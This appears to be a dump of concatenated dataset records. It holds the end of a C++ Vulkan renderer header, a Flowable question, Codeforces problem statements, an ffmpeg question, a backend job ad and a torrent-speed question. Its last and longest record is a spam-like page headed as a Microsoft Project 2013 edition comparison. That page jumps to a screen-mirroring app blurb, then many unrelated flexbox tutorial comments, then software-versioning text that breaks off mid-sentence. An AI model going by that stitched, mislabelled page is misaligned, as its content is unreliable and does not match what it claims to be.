renderer_result {\n success = 0,\n no_device = 1,\n initialization_failed = 2,\n surface_not_supported = 3,\n no_memory_type = 4,\n}; // class renderer_result\n\nclass renderer_result_category_impl : public std::error_category {\npublic:\n virtual char const* name() const noexcept override {\n return \"renderer_result\";\n }\n\n virtual std::string message(int ev) const override;\n}; // class renderer_result_category_impl\n\nstd::error_category const& renderer_result_category();\n\ninline std::error_code make_error_code(renderer_result e) noexcept {\n return {static_cast(e), renderer_result_category()};\n}\n\nenum class renderer_options : uint8_t {\n none = 0,\n use_integrated_gpu = (1 << 1),\n}; // renderer_options\n\n// Holds all of the data for rendering. Also provides methods for creating\n// surfaces, shaders, pipelines, and command buffers, as well as submitting\n// command buffers for execution on the device.\nclass renderer {\npublic:\n // Create a new renderer. If ec is true, then an error occurred during\n // creation and the renderer object is in an invalid state.\n static renderer create(gsl::czstring application_name, renderer_options opts,\n PFN_vkDebugReportCallbackEXT debug_report_callback,\n uint32_t push_constant_size,\n std::error_code& ec) noexcept;\n\n // Create a new surface. If ec is true, then an error occurred during\n // creation and the surface object is in an invalid state.\n surface create_surface(wsi::window const& window,\n std::error_code& ec) noexcept;\n\n // Resize a surface. Must be called when the window that was passed for\n // surface creation is resized. This is not automatically done to allow\n // the render loop to determine when to perform the resize. If ec is true,\n // then an error occurred during the resize.\n void resize(surface& s, wsi::extent2d const& extent,\n std::error_code& ec) noexcept;\n\n // Acquire the next ready image in the swapchain for rendering to. This\n // must be called and the returned index passed to submit_present. If\n // ec is true, then an error occurred and the returned index is invalid.\n uint32_t acquire_next_image(surface& s, std::error_code& ec) noexcept;\n\n // Submit a set of command buffers for execution and then present the\n // previously acquired swapchain image. image_index must come from an\n // immediately preceding call to acquire_next_image. fence can be\n // VK_NULL_HANDLE which indicates no fence should be signaled when the\n // command buffers can be reused. If ec is true, then an error occurred\n // during either the submit or present.\n void submit_present(gsl::span buffers, surface& s,\n uint32_t image_index, VkFence fence,\n std::error_code& ec) noexcept;\n\n void destroy(surface& s) noexcept;\n\nprivate:\n void release(surface& s) noexcept;\n\npublic:\n // Allocate a set of command buffers. If ec is true, then an error occurred\n // and the vector is invalid.\n std::vector\n allocate_command_buffers(uint32_t count, std::error_code& ec) noexcept;\n\n // Submit a set of command buffers. onetime indicates that the submit should\n // use the onetime fence and wait for the submit to complete before\n // continuing. If ec is true, then an error occurred.\n void submit(gsl::span command_buffers, bool onetime,\n std::error_code& ec) noexcept;\n\n void free(std::vector& command_buffers) noexcept;\n\n // Create a new shader from the given source code. path is expected to hold\n // GLSL source code which will be compiled before creating the shader. If ec\n // is true, then an error occurred and the shader is valid such that\n // shader::error_message can be called to get any compilation errors.\n shader create_shader(plat::filesystem::path const& path, shader::types type,\n std::error_code& ec) noexcept;\n\n void destroy(shader& s) noexcept;\n\n // Create a new pipeline layout. If ec is true, then an error occurred and\n // the pipeline layout object is invalid.\n VkPipelineLayout create_pipeline_layout(\n gsl::span descriptor_set_layouts,\n gsl::span push_constant_ranges,\n std::error_code& ec) noexcept;\n\n void destroy(VkPipelineLayout layout) noexcept;\n\n // Create a new set of pipelines. A single pipeline can also be created.\n // If ec is true, then an error occurred and the vector of pipelines is\n // invalid.\n std::vector\n create_pipelines(gsl::span cinfos,\n std::error_code& ec) noexcept;\n\n void destroy(gsl::span pipes) noexcept;\n\n // Create a new fence. If ec is true, then an error occurred and the fence\n // is invalid.\n VkFence create_fence(bool signaled, std::error_code& ec) noexcept;\n\n // Wait for a set of fences to be signaled. If wait_all is true, then all\n // fences must be signaled before the call will return, if wait_all is\n // false, then a single fence will cause the call to return. timeout\n // specifies how long to wait, 0 returns immediately, and UINT64_MAX will\n // wait indefinitely. If ec is true, and error occurred while waiting.\n void wait(gsl::span fences, bool wait_all, uint64_t timeout,\n std::error_code& ec) noexcept;\n\n // Reset a set of fences from the signaled state to unsignaled. If ec is\n // true then an error occured.\n void reset(gsl::span fences, std::error_code& ec) noexcept;\n\n void destroy(VkFence fence) noexcept;\n\n constexpr renderer() noexcept {};\n renderer(renderer const&) = delete;\n renderer(renderer&& other) noexcept;\n renderer& operator=(renderer const&) = delete;\n renderer& operator=(renderer&& rhs) noexcept;\n ~renderer() noexcept;\n\nprivate:\n VkInstance _instance{VK_NULL_HANDLE};\n VkDebugReportCallbackEXT _callback{VK_NULL_HANDLE};\n\n VkPhysicalDevice _physical{VK_NULL_HANDLE};\n VkDevice _device{VK_NULL_HANDLE};\n\n uint32_t _graphics_queue_family_index{UINT32_MAX};\n VkQueue _graphics_queue{VK_NULL_HANDLE};\n VkCommandPool _graphics_command_pool{VK_NULL_HANDLE};\n VkFence _graphics_onetime_fence{VK_NULL_HANDLE};\n}; // class renderer\n\ninline constexpr auto operator|(renderer_options a,\n renderer_options b) noexcept {\n using U = std::underlying_type_t;\n return static_cast(static_cast(a) | static_cast(b));\n}\n\ninline constexpr auto operator&(renderer_options a,\n renderer_options b) noexcept {\n using U = std::underlying_type_t;\n return static_cast(static_cast(a) & static_cast(b));\n}\n\n#endif // VKST_RENDERER_H", "source": "cpt_stack_code", "language": "code", "token_count": 2504, "token_count_with_eod": 2505, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "can we get the service task control from flowable engin.\nso that we can complete whenever we want it.\ni have to use a service task to call an external REST service, i dont l know when that REST service will complete.\nfor that i need to wait till in service task.\nAnd one more question is i have created one process like,\nStart Event -> UserTask -> ServiceTask -> UserTask -> EndEvent\nwhen i am completing a first userTask it is not completing but that contol is going to serviceTask and it executing a serviceTask Class.\nplease help ASAP.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 125, "token_count_with_eod": 126, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Wilbur the pig now wants to play with strings. He has found an n by m table consisting only of the digits from 0 to 9 where the rows are numbered 1 to n and the columns are numbered 1 to m. Wilbur starts at some square and makes certain moves. If he is at square (x, y) and the digit d (0 ≤ d ≤ 9) is written at position (x, y), then he must move to the square (x + ad, y + bd), if that square lies within the table, and he stays in the square (x, y) otherwise. Before Wilbur makes a move, he can choose whether or not to write the digit written in this square on the white board. All digits written on the whiteboard form some string. Every time a new digit is written, it goes to the end of the current string.\n\nWilbur has q strings that he is worried about. For each string si, Wilbur wants to know whether there exists a starting position (x, y) so that by making finitely many moves, Wilbur can end up with the string si written on the white board.", "source": "cpt_codeforces", "language": "en", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I was trying to compare ffmpeg 5.0 vs version 3.4.6 in how much performance improvements I would get while transcoding a simple 720p video into a H264 video. On my laptop, I noticed around 5-10% improvement in the total execution time when using the updated version.\nffmpeg -y -i video.webm -r 30 -vf eq=gamma=.95:saturation=1.1,scale=w=960:h=540:force_original_aspect_ratio=decrease -c:v libx264 -profile:v high -level 4.2 -crf 25 -tune film -b:a 128k -ar 44100 -async 1 -movflags +faststart -max_muxing_queue_size 9999 output.mp4\nShould I really expect a performance improvement when using this updated version? And are there any other flags or ways I can add to improve performance or quality even more?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 220, "token_count_with_eod": 221, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given an undirected, connected graph of $$$n$$$ nodes and $$$m$$$ edges. All nodes $$$u$$$ of the graph satisfy the following:\n\n- Let $$$S_u$$$ be the set of vertices in the longest simple cycle starting and ending at $$$u$$$.\n- Let $$$C_u$$$ be the union of the sets of vertices in any simple cycle starting and ending at $$$u$$$.\n- $$$S_u = C_u$$$.\n\nYou need to answer $$$q$$$ queries.\n\nFor each query, you will be given node $$$a$$$ and node $$$b$$$. Out of all the edges that belong to any simple path from $$$a$$$ to $$$b$$$, count the number of edges such that if you remove that edge, $$$a$$$ and $$$b$$$ are reachable from each other.", "source": "cpt_codeforces", "language": "en", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Pune | Full Time\nWe are building the future, one classroom at a time.\nCleverGround is an education infrastructure startup and the creator of the largest global teaching-exclusive platform. We have enabled millions of educators in India and across the globe digitize their classrooms with our proprietary, mobile-first, classroom technology.\nWe are a team of young, enterprising leaders with experience working at some of India’s leading startups over the years. Innovation, ownership and passion is at the heart of everything we do and we are all unified by the single mission of democratizing education by empowering educators and enabling them to create impactful learning experiences.\nAbout the role – Backend Engineer at CleverGround:\nCleverGround is looking for a Senior Backend Engineer to help us scale for our continued growth as a game-changing, industry-defining company shaping the future of education.\n- Development of our application’s back end. End to end delivery of new features.\n- Evolving the architecture for performance and scalability.\n- Design, develop and own components of a highly scalable, distributed web services platform.\n- Constantly strive to improve software development process and team productivity.\n- 3+ years of experience in backend development\n- Proficient in python and Django/flask\n- Experience with databases like MongoDB, Postgres, Redis\n- Experience with Stream processing software like Kafka\n- Algorithms and software design optimized for large scale distributed software systems\nGood to have\n- Experience with Spark/Pandas\n- Have experience with Google Cloud Platform/ AWS\n- Knowledge of Other languages like C++/Java\nMust-have Mindsets And Skillsets\n- Strong algorithmic thinking\n- Seamless Collaboration with Mobile and Web Development team\n- Solid foundation in Computer Science, with strong competencies in data structures,", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "i am having problems downloading with torrents at speed, the maximum i seem to be getting on any torrent is 7kb/s. regardless of the seeder/leecher ratio. I recently upgraded my pc and thus installed windows on a new hdd. Before i upgraded i was getting the full speed of 2mb (around 230kb/s) and i wasnt connectable. I cant become connectable because i am living in halls of residence and i think there is a firewall somewhere down the line. (I have a LAN socket in my wall for internetl). I am using Sygate Personal Firewall with the same set-up as i had before, and as far as im concerned i have exactly the same software set up as before. Im using Bittornado, which i have never had a problem with.\nCould it be my LAN adapter drivers? It seems to be the only thing that i have changed. Im using a new MSI k9ngm motherboard which uses Nvidia network drivers (Nvidia C51G/C51PV chipset i think). I have also got a new program running through my firewall; NDIS user mode I/O driver?!\nI have checked all options regarding restricting speed and spent hours configuring my computer to try and get this working...please dont tell me to go to portforward.com!!\nAny help appreciated", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 276, "token_count_with_eod": 277, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Difference between microsoft project 2013 standard and professional free.Software engineering\nProject Server is useful in portfolio management and team collaboration tools. Only Project Professional contains a Generic Resource checkbox. Microsoft no longer offers downloads of the obsolete trial versions of Microsoft Project Clients (Standard and Professional) for versions , MS Project Professional can connect to Project Server. · MS Project Professional has a very nice “Team Organizer” view that graphically shows resource.\nDifference between microsoft project 2013 standard and professional free\nWith Project Online and Project Server, additional uses can be leveraged for larger organizations such as SharePoint integration. Sign In. This is the client читать статью that allows access to the server. Chinese, Traditional. At the bottom of this entry is a brief comparison of the Project Professional and Standard versions.\nMicrosoft Project FAQs | Questions About Project.Microsoft Project Pro vs Project Standard – What’s the Difference? – Royal Discount\nThis version is free to download and install. Screen Stream Mirroring Free works like any other standard video-sharing template.\nIt is compatible with most media players and web browsers. However the main difference between this and similar systems is that it can be used in conjunction with smart televisions.\nPopular streaming servers such as Twitch and Facebook can likewise be employed. All controls are highly intuitive, so the user will not have to possess any previous experience. A built-in widget provides a live camera overlay during any stream so that the user will know what others are seeing. A timer can be set in the event that the screen needs to be locked after a predetermined period of time. Multiple connections can be made at the same time, idea for webcasts and similar group events.\nLaws concerning the use of this software vary from country to country. We do not encourage or condone the use of this program if it is in violation of these laws. Softonic may receive a referral fee if you click or buy any of the products featured here.\nWould you happen to know how I could code in a horizontal split like they have on Code Pen that separates the top of the window and the bottom of the window and moves fluidly when the bar is moved, with flexbox framework?\nAny help would be appreciated, thanks! Flexbox does make the situation easier though. Basically if the flex items have flex: 1; they will fill the area, so you just resize one of them to a specific height or width and the other will fill the remaining space. So no math. Do you know of any working examples of jQuery UI Draggable for a horizontal split pane? Using this:.\nI found this article confusing. Perhaps not the best place to ask, but I am struggling with making a responsive flexbox fluid layout.\nWhat I want is 3 breakpoints like this: 1 3 rows containers vertical, small screen 2 2 columns, 2 rows medium screen 3 3 columns large screen 1 en 3 are easy, I just change the flex-direction from column to row. But how about 2?\nSo basically it must look like:. Gonna answer my own question. The reason I could not get it to work is because IE11 does not like a max-width to be set on any flex-item. If you do, it wrongly calculates the space around or between the items.\nEvert, I just ran into that same issue! Great article, thanks. Regarding the the browser support table, I think that IE11 may have full support of the specification. Does using flexbox responsibly meaning coding the site via flexbox and usual css positioning methods as a fall back for browsers who dont support flexbox, coding the layout twice?\nJust thinking workflow wise…. Thanks Chris! This is an excellent Flexbox reference. Flexbox is a thing of beauty! So in order to prevent that we could set max-width on the flex container, but that cancels out the centering for some reason and the page flushes left.\nSo the only other possibility is to set a max-width on one or more flex-items…but those will break in IE11 because of some bug. In short: flexbox will only work practically when using the full screen width and not limiting any flexible item with a max-width. As soon as you want to set a limit to any item, it falls apart. This really annoyed me and was broken for a bit, so I wanted to share in case anyone ever comes across this in the future. Also, very important. It breaks it for some reason.\nI hope this helps someone! I hope this helps! Chris, this example does not work in IE Those are deprecated properties. Also best in practice to let a tool like Autoprefixer deal with inserting those older properties for you when needed. Amazing writeup and excellently explained, you saved me fairly a LOT of time I would off spent learning all this combining all the broken and outdated articles over the web 😀 thank you so much!\nThis is a great article. But still a very good and informative article. Is there a way to specify a minimum for inter-elements spacing when using flex-wrap: wrap;? To add spacing, use margin-right and margin-bottom.\nGive the container the same, but negative margin to still use the full width. I get how to center the flex items themselves, but how would you center the container itself?\nAnd is that something one would even want to do? Hi Chris! Very nice article! I had bookmarked the article before and have come back to it today as a reference.\nReally like the re-haul, makes it even more useful! Cheers to you, Chris. Great work on the updated format! Ry, good point. I happen to use Autoprefixer, which added this IE-specific property name in for me. I love all that can be done with the flex box model, now only if all the browser could support it the same way! Thanks so much for updating this post — by far the easiest-to-understand guide to flexbox ever written.\nI created a flex box and arranhed the items in it in a column layout. Is there an easy way to center everything in a container box when arranging elements as columns? Hope this makes sense. If you flow the elements by column vertically , the justify-content: center will really display the elements in the center bit of the flex box vertically, i,e, some space at the top, then your elements, then some space at the bottom.\nWhat you wanted is for each element to center align horizontally, which you can probably achieve by using text-align property. Thanks for getting back to me so quickly. Does Compass support flex box? I see that they have what seems to be the old version of flex box in the documentation. But then on codepen. Like include display-flex? Bit of a long shot here, but do any Email clients support Flex box..? Would be useful in HTML emailers to rearrange the order of elements.\nReally frustrating…. You have obviously given a lot of thought to how to present this information as clearly as possible.\nOutstanding work — thanks. How do you all know what works in which browser version? Where is flexbox standing now for support? Hi, I was wondering if anyone could help me out with a flexbox problem. This kinda works, but there is a big gap between the five divs across the top of the page and the sixth div below them.\nI need to know how to get rid of the gap. Here is the Codepen:. If you have time, I was hoping you might be able to elaborate on the second one a little. Time for bed in the UK though. It doesnt look good in safari, even doesnt look anyhow. I gave up on Safari. Not supporting it on my sites. Inside this container I have 3 divs. I want last one footer to be always at the bottom of this page. Is this possible to do? I know it is of course ; but I want to use only flex-box model. Ok, i got it, there was no question xD Sorry.\nIf any possible on that particular IE alignment modification style-sheet. I am working with flexbox on a few different projects now and love it. Only downside is all the prefixes that you need.\nFor my projects I made a less mixin stylesheet that has been tested and works in the most recent browsers latest version Hoping to help some more people out I put it on my github, so if you want a little help getting started you can grab it there github. Wanted to spread the word, since there seems to be some confusion around this property flying around in the wake of Firefox previously not having supported it. Could anyone help me with this? I was wroten some code reading article.\nWant to have this:. Try to open this i want to display in this way. But now block number four is moved to center and on the bottom of block number two whole layout.\nI want to get it on the right side of the block number two, but below of the block number three. Inside this container, I have two items.\nA content area and a footer. I want the footer to have a set height of 52px and I want the content region to automatically fill the rest of the empty space. I want to be able to infinitely expand the browser window and always have my content area fill the empty space and I never want the footer to change size.\nI started on an idea for HTML as a presentation format using flex. Can someone point me to a tutorial or demo of using iframe within a flexbox container. Alternatively is there an easy solution you could give me here. I believe there is no better place on the web to start learning about flex. Thank you for your work. Any comments on how valid the above article is. If it is valid is there are work around to still using flex-box for page layout without the performace hit?\nI kind of agree with the article. The flexbox is more suitable for dynamic content think about displaying a random amount of images of a random size , where the grid layout is preferable for known content areas. Both can adjust for the screensize, but are optimized for different applications. The specification says flex: auto is flex: 1 1 main-size , to be distinguished from flex: 1 1 auto. This is currently under discussion, like it says in the big red box there.\nThe shorthand resets things in appropriate ways, and will therefore result in fewer cascading errors. Please use the shorthand! Maybe this will help others to visualize it this way also. Question: why do you have Applies to: parent flex container element only next to flex-flow? There is currently a crippling bug in Firefox that makes any non-trivial implementation of flex unfeasible.\nThanks for the article, helped me a great deal bringing my LESS-implementation and Bower package up to date! I would apreciate any help. Thanks in advance. Kudos for taking the time to make this super intuitive. This is going to be an amazing feature right now. Sean Fiorritto sp? So I was wandering, is there a good way of making the child elements of the flex grid not automatically span to the full width of the page. Only specifying widths every time is not very effective.\nNo one should have to add a width: 1px; to every element within if they want it to behave properly. Tons of love to Flexbox which just saved my weekend. I just had to redo an entire page which used to use an HTML table to present a matrix.\nIn other words, I had to go from row-major format to column-major format. So I used Flexbox to lay out the columns in left-to-right row direction, and then lay out each child in each row in top-to-bottom column direction.\nGreat work man….. Who has the option to design for only the most of modern browsers. Let me know when you can shiv it back to ie9.\nAdding flex-wrap:wrap; flex-direction: row; or just flex-flow: row wrap; works though. I write css for the screens resolution. Got a container and 3 columns in it. Used this tutorial and it worked great in FF and Chrome, but in Opera it does not.\nCol 1 and 2 are fully apart and the 3rd column is under the 1st. Just to mention I am new here i mean webdesign. That is the whole point of Flexboxes. Try getting rid of the float declarations and playing around some more…. Also, keep in mind that every set of flex items needs a flex container. Nesting flex boxes is how you keep consistency across browsers but it can get really confusing really quick.\nEspecially when you get like 8 levels deep. You also are probably missing LOTS of vendor prefixes to get it working properly across all browsers. For instance, you might want to take a look at the classes that I use in my projects to see what you are missing. I find a difference between resizing my laptop monitor and actually viewing it on other devices.\nAny advice would be greatly appreciated…. In Safari and Chrome, the contents do not fit perfectly in the browser window, and the footer div tag is not visible at all. I noticed when declaring flex property for parent that hold some elements for example ul is flex, li are flex items they are inline or inline-block , when I set to some list item margin-right:auto, it push all other elements to the edge of the parent container?\nThanks, as always, for a very informative post. It really fast-tracked my understanding of using the flexbox model. One of the hardest things to wrap my head around was the flex-grow, flex-shrink and flex-basis properties. Not so much the concept of what they were, but how the actual values played out. This was not the case.\nIt was always greater than 2 times. The grow and shrink values have nothing to do with each other. But the piece that was eluding me, and causing the actual width values to not follow this ratio, is that the ratio is based on the amount that the containers have grown past the basis width or under the base width for flex-shrink. That being said, the key is that if you subtract the basis width from each item width, then the remaining width will follow the ratio.\nBehavior of the last two changes depending of flex-direction. Article says it should be independent. Imagine we have a right-aligned navigation on the very top of our website, but we want it to be centered on medium-sized screens and single-columned on small devices. Alignment was all wonky. Initially I thought this was super helpful.\nAnd if so, should there be a note accompanying that image? Firefox and IE are not. These css are like readymade ui-bootstrap components or angular itself. They work off-the-shelf. Web-pages development are becoming breezy now, given most of the common burden is taken by the framework.\nLove it, thanks! What bothers me, is if you use either flex-direction: row; or flex-direction: column; It dictates what property you use to center objects horizontally. I think align-items and justify-content got mixed up in the example shared. Also, you the container article is missing a height, which ends up in confusing the result of applying align-items and justify-content as the same in that special case. Another great article!\nUsing this page as a guide and reference, I created a web-app based log in template that looks like a phone-app. Thanks for posting. Very interesting. Is there a particular attribution you would like? Thanks for the fix PaulOB! I really like the concept of flexbox, but with needing to support IE9, looking for a way to do that with a graceful fallback.\nTotal noob when it comes to flexbox, but I was wondering something. Great tutorial btw! Please post your code and link to it. Feel free to fork, re-post and question. When using the flex-shorthand in Safari 7 7. In order for Safari to wrap via flexbox -webkit-flex-basis must be auto which is Safaris default value. Good article, I just shared on Twitter. Really like how you formatted it, the other articles on the flex box suck compared to yours. Alex: maybe a bit late, but this is my solution and it works pretty well.\nThe alignment you see is on the last but one line. I often use flexbox with margins and calc, so I might use something like:. To get around this, I use:. This takes account of the percentage difference in the margins. Having just referenced this post for the th time in the last two months, I feel obligated to say that this thing is incredibly useful.\nIn the event anybody is having issues getting it to work on firefox for the 2nd example tomato background. Put the flex items into their own container with no other element in them.\nWow, this article is the coolest material about flexbox. Thank you for the tutorial. It looks like the ccentre might be the cause. Any ideas? I have stumbled upon this interesting StackOverflow question re justify-content: flex-start and margin: auto on a container. Can tell the reader of this in advance. Chris, can you give us an example of what are small-scale layouts and large scale layouts? Thanks so much for the article! I learned a ton. Are there any updates to that article coming down the pipeline?\nI would love to read the two in tandem and better be able to grasp in which situations each would be most appropriate. Less code and it works even with old browsers. Try adding a background color to the. Using inline-block keeps you dependent on the browser default use of extra space left and right of inline li elements.\nThis rendering can be fixed by floating the li elements, but flexbox is a nicer modern way of achieving that effect. I figured out that align-content is only for the cross axis. The reason was that certain page layouts that you see nowadays, were very difficult to implement with the old specification. Take for instance flexbox. Before it was very hard to make a dynamically scaling website.\nOne improvement was the introduction of the calc function that could use percentages and static units together, but even with that it was still hard to read code. Flexbox was a great addition that is very easy to use once you read this article. Nobody is stopping you, but you deny yourself some awesome tools if you do. The same is true for any technology or even life in general, really. Without new features and new capabilities, we atrophy and fail to realize our full potential.\nI suspect that relatively few people want to settle for what we have now and just work with that. It should probably be noted that the W3C documents recommendations, not requirements. After all, she already has TV, YouTube, and all the toys she needs at home :. Just fyi, no reply needed. I much preferred the old layout for this article. Seeing the parent and child examples side by side meant it was easier to compare behaviours and to pick the right approach.\nI want to put a link on images wich are in a contener flexbox. Can somebody can give me an exemple about how to do? If you want help, you need to post your CSS code as well. I replaced the images with images from LoremPixel just to give me something to look at. According to caniuse.\nSo, is the above table wrong? Hi , I need to align all elements inside flex container to each other. Suppose I have made two div of equal height using flex and now I want to make the all the elements inside the div to align to each each other.\nIs that possible? This is an excellent guide and I pretty much learned how to layout a page in about an hour using this. I cannot wait to test it out more and see how it all works in different scenarios.\nI am trying to replace a grid layout where I used display: table and table-cell to align content vertically with flexbox. My problem with flexbox is, that I can not get a second child item to align vertically. What am I doing wrong here? Who ever wrote this article forgot to put information that flex-shrink if put to 0 prevents item to shrink and maintain its original size. This information could have saved me 4 hours of work. My boss says flexbox is stupid.\nAnd we call it progress. This is an awesome post. It has helped me several times. I am having one issue that I cannot figure out. Would anyone be willing to comment on this Codepen? Thanks, Chris. Thank you for the information you have put together. This is just brilliant. One of the examples Numbered Tomato boxes that wrap uses webkit-flex-flow, instead of just flex-flow, so the example becomes specific to webkit only.\nI have encountered a bug on firefox that does not allow elements to be flex containers. It took me AGES to find that out, so I wanna share this with other folks that might be going though the pain I have just experienced!\nShould prefix code be inserted as a safeguard, OR is it deleterious to add vendor flex prefix code if said vendor has provided full flex compliance in more recent browser versions?\nYou can get some useful insights and ones very specific to your site and users by installing Google Analytics. With the statistics it gives you, you can see the browser breakdown of the people who come to your site. I think that would let you know how much of a need there really is for support for given browser versions. I just want to say thank you.\nIt has been just so helpful. Great work. Much appreciated. Thank you. Great stuff in here, but I am obviously missing some basics from my end. If somebody can explain. I am about to achieve from a last example full page with all these elements. ASIDE2 — purple part to be bellow. MAIN — blue part. Thank you, Igor. Thanks for this great tutorial! The CodePen examples took a little adjusting to work for me on Firefox I had to remove the -webkit prefix from -webkit-flex-flow on examples 1 and 2.\nNice one, I have a question tho, with this new knowledge I wanted to try my skills on some kind of framework. But why do the two col-1 at the top not have the same width as the col-2? Is it possible to have a max-width on the container and then center that container? I suppose If you consider that all your visitors will have a recent browser, you can use only flexbox.\nIf some of them still use ie6 and you have to enable them to use your website, you have to propose another way to display…. Edit suggestion: In the flex-direction section, the visual examples do not match the order shown in the css code snippet. Since all the other sections match in order from what the visual example is with the code snippets, I was confused for a bit.\nSorry about missing html in my comment above. Seems flex wrap could be a bit more flexible, if it support indentation and hanging indentation, as for paragraphs. Use case: a bunch of thumbnails with dates underneath, one flexbox filled for each month, say. Hi, great tutorial. Is it possible to use flex to make a perfect grid with some square boxes of side double than other square boxes.\nThe grid is supposed to contain only two kind of boxes-small and big with side double to that of small box. So please try to anwer in easy words : I have taken the code from the Flexbox at the beginning of the website. So could someone please give me a code I am able to paste in my code?\nAs far as now the code is:. Christian Hi, I am not a code pro, but even I could see, that your code is like scrambled eggs. I think you should start a new with a clean HTML and keep it much simpler. Hey, I just wanted to say that this was my most-visited reference page of You display things that work. Henry I think you can overwrite default setting or your setting of align-items by align-self: … ; on the flex item.\nJust found myself with this site open every day. Can not code proper flexbox designs without it. Thank you Chris! You make my life better! Greets from Germany. Thank you for the great work. The figures really make things much easier. It would be even better if there is a real webpage example built with Flexbox, like a more complete version than the last example, so that we can see how Flexbox is used in real life.\nIn the last example, what if we want to set the height on the wrapper? Thanks for this! Will be using a lot more! Thanks for all of the great information, it really helped me to understand flexbox.\nI find that very confusing and would love some additional explanation. You must expand that section to see the content. Very interesting article. So right now I am trying to figure out where to get started and what technologies are safe to use. And what about CSS grid, safe for production with fallbacks? That being said, why would I even bother creating the layout twice and bloat my code if fallbacks for layout are required?\nBeen using this website for a while, always coming back when i need a refresher. So at those larger sizes, although the first-letter styles are still applied, the flex box gets rid of the styles. Why is this so? Thank you! That said, implementation of :first-letter and :first-line is rather painful in the layout engines, so even if the restriction is lifted in the spec, it might be awhile before anyone is willing to implement it.\nThank you so much for this. If sharing this post in other languages helps others then, by all means, please do. Just started to look at using flexbox as I update some educational materials I began 22 years ago yes html2!\nBeen overwhelmed at the change from frames to div. But your site puts things in the language a non-programmer teacher can use to update to something other than frames.\nThanks for such a well done site. Now lets get my hands dirty and brain overloaded. My main frame page is 11 frames. Could you please explain flex-shrink a little better? How does it shrink an item? What do higher numbers mean relative to lower numbers?\nWhat happens if flex-shrink and flex-grow are both specified on the same element, or on 2 sibling elements? In most proprietary software, the first released version of a software product has version 1. Some projects use the major version number to indicate incompatible releases.\nOften programmers write new software to be backward compatible , i. This enables people who run a high availability computer cluster to keep most of the computers up and running while one machine at a time is shut down, upgraded, and restored to service. Often packet headers and file format include a version number — sometimes the same as the version number of the software that wrote it; other times a “protocol version number” independent of the software version number.\nThe code to handle old deprecated protocols and file formats is often seen as cruft. Software in the experimental stage alpha or beta often uses a zero in the first “major” position of the sequence to designate its status. However, this scheme is only useful for the early stages, not for upcoming releases with established software where the version number has already progressed past 0.\nSemantic versioning actually does not specify specific terms for development stages; the comparison is simply in lexicographical order. There are two schools of thought regarding how numeric version numbers are incremented. Most free and open-source software packages, including MediaWiki , treat versions as a series of individual numbers, separated by periods, with a progression such as 1.\nOn the other hand, some software packages identify releases by decimal numbers: 1. The standard GNU version numbering scheme is major. In some cases, developers may decide to reset the major version number. This is sometimes used to denote a new development phase being released. For example, Minecraft Alpha ran from version 1.\nOnce the game was fully released, the major version number again reset to 1. When printed, the sequences may be separated with characters.\nThe choice of characters and their usage varies by the scheme. The following list shows hypothetical examples of separation schemes for the same release the thirteenth third-level revision to the fourth second-level revision to the second first-level revision : [ original research? When a period is used to separate sequences, it may or may not represent a decimal point—see ” Incrementing sequences ” section for various interpretation styles.\nThere is sometimes a fourth, unpublished number which denotes the software build as used by Microsoft. Adobe Flash is a notable case where a four-part version number is indicated publicly, as in Some companies also include the build date. Version numbers may also include letters and other characters, such as Lotus Release 1a. Some projects use negative version numbers. Many projects use a date-based versioning scheme called Calendar Versioning aka CalVer . Ubuntu Linux is one example of a project using calendar versioning; Ubuntu This has the advantage of being easily relatable to development schedules and support timelines.\nSome video games also use date as versioning, for example the arcade game Street Fighter EX. At startup it displays the version number as a date plus a region code, for example ASIA. The hyphens are sometimes omitted. The Wine project formerly used a date versioning scheme, which used the year followed by the month followed by the day of the release; for example, “Wine “.\nMicrosoft Office build numbers are an encoded date: the first two digits indicate the number of months that have passed from the January of the year in which the project started with each major Office release being a different project , while the last two digits indicate the day of that month.\nSo is the 19th day of the 34th month after the month of January of the year the project started. Other examples that identify versions by year include Adobe Illustrator 88 and WordPerfect Office When a year is used to denote version, it is generally for marketing purposes, and an actual version number also exists.\nThe Python Software Foundation has published PEP — Version Identification and Dependency Specification, outlining their own flexible scheme, that defines an epoch segment, a release segment, pre-release and post-release segments and a development release segment. TeX has an idiosyncratic version numbering system. The current version is 3. This is a reflection of TeX being very stable, and only minor updates are anticipated.\nIn a similar way, the version number of Metafont asymptotically approaches e. During the era of the classic Mac OS , minor version numbers rarely went beyond “.\nWhen they did, they usually jumped straight to “. Mac OS X departed from this trend, in large part because “X” the Roman numeral for 10 was in the name of the product. As a result, all versions of OS X began with the number The first major release of OS X was given the version number Instead, it was numbered Thus the 11th major version of OS X was labeled ” Even though the “X” was dropped from the name as of macOS Under the “X”-based versioning scheme, the third number instead of the second denoted a minor release, and additional updates below this level, as well as updates to a given major version of OS X coming after the release of a new major version, were titled Supplemental Updates.\nThe Roman numeral X was concurrently leveraged for marketing purposes across multiple product lines. Like Mac OS X itself, the products were not upgrades to previous versions, but brand-new programs.\nAs with OS X, major releases for these programs incremented the second digit and minor releases were denoted using a third digit. Apple’s next macOS release, provisionally numbered The Microsoft Windows operating system was first labelled with standard version numbers for Windows 1. After this Microsoft excluded the version number from the product name. For Windows 95 version 4. After Windows , Microsoft created the Windows Server family which continued the year-based style with a difference: For minor releases, Microsoft suffixed “R2” to the title, e.\nThis style had remained consistent to this date. The client versions of Windows however did not adopt a consistent style. First, they received names with arbitrary alphanumeric suffixes as with Windows ME 4. Then, once again Microsoft adopted incremental numbers in the title, but this time, they were not versioning numbers; the version numbers of Windows 7 , Windows 8 and Windows 8.\nIn Windows 10 , the version number leaped to The successor of Windows 10, Windows 11 , was released on October 5, Despite being named “11”, the new Windows release didn’t bump its major version number to Instead, it stayed at the same version number of Some software producers use different schemes to denote releases of their software.\nBLAG Linux and GNU features very large version numbers: major releases have numbers such as and , while minor releases increase the number by 1 e. Alpha and beta releases are given decimal version numbers slightly less than the major release number, such as Starting at 